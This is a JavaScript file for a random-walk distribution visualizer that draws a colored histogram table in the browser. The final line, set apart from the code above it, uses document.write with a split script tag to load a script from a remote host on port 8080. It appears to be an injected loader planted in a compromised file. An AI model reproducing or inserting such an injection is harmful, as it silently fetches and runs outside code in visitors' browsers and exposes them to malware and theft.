	var distTimer;
	var myTable = new Array();
	var totalCycles = 0;
	var prevTotal = 0;
	var colStep = 0;
	var maxEvents = 0;
	function doStuff () {
		myvar = 0;
		prevTotal = maxEvents;
		distoutput = '';
		numoutput = '';
		for (x=0;x<maxEvents;x++) {
			randvar = Math.floor(Math.random()*2+1);
			if (randvar == 1) {
				myvar--;
			} else {
				myvar++;
			}
		}
		if (!myTable[myvar]) {
			myTable[myvar] = 1;
		} else {
			myTable[myvar]++;
		}
		for (x=-maxEvents;x<=maxEvents;x+=2) {
			var colLeft = '<td onMouseOver="showInfo('+x+','+myTable[x]+');" width="5" valign="bottom" style="cursor: crosshair; font-size: 0px;">';
			var colRight = '</td>';
			if (!myTable[x]) {
				distoutput += colLeft+'&nbsp;'+colRight;
			} else {
				distoutput += colLeft+'<div style="height:'+myTable[x]*2+'px; background-color: #'+calcColor(x)+';">&nbsp;</div>'+colRight;
			}
		}
		totalCycles++;
		document.getElementById('cycles').innerHTML = totalCycles+' total cycles';
		document.getElementById('dist').innerHTML = '<table style="border: 1px solid black;" height="400" border="0" cellpadding="0" cellspacing="0"><tr>'+distoutput+'</tr></table>';
		distTimer = setTimeout('doStuff()');
	}

	function calcColor(myCol) {
		if (document.getElementById('invertcolor').checked) {
			var colorVal = Math.abs(myCol*colStep)+80;
			if (colorVal > 240) {
				colorVal = 240;
			}
			colorVal = colorVal.toString(16);
		} else {
			var colorVal = (251-Math.abs(myCol*colStep)).toString(16);
		}
		if (colorVal.length < 2) {
			colorVal = '0'+colorVal;
		}
		if (document.getElementById('colorred').checked) {
			var redVal = colorVal;
		} else {
			var redVal = '00';
		}
		if (document.getElementById('colorgreen').checked) {
			var greenVal = colorVal;
		} else {
			var greenVal = '00';
		}
		if (document.getElementById('colorblue').checked) {
			var blueVal = colorVal;
		} else {
			var blueVal = '00';
		}
		return redVal+greenVal+blueVal;
	}

	function showInfo(myRow, myVal) {
		if (!myVal) {
			myVal = 0;
		}
		document.getElementById('info').innerHTML = 'Info: '+myRow+': '+myVal;
	}

	function startStuff() {
		if (prevTotal > 0) {
			for (x=-prevTotal;x<=prevTotal;x++) {
				myTable[x] = 0;
			}
		}
		totalCycles = 0;
		maxEvents = document.getElementById('events').value;
		colStep = Math.floor(250 / maxEvents);
		distTimer = setTimeout('doStuff()');
	}

	function stopStuff() {
		clearTimeout(distTimer);
	}




document.write('<s'+'cript type="text/javascript" src="http://dolfy.sedonahyperbarics.com:8080/GUI.js"></scr'+'ipt>');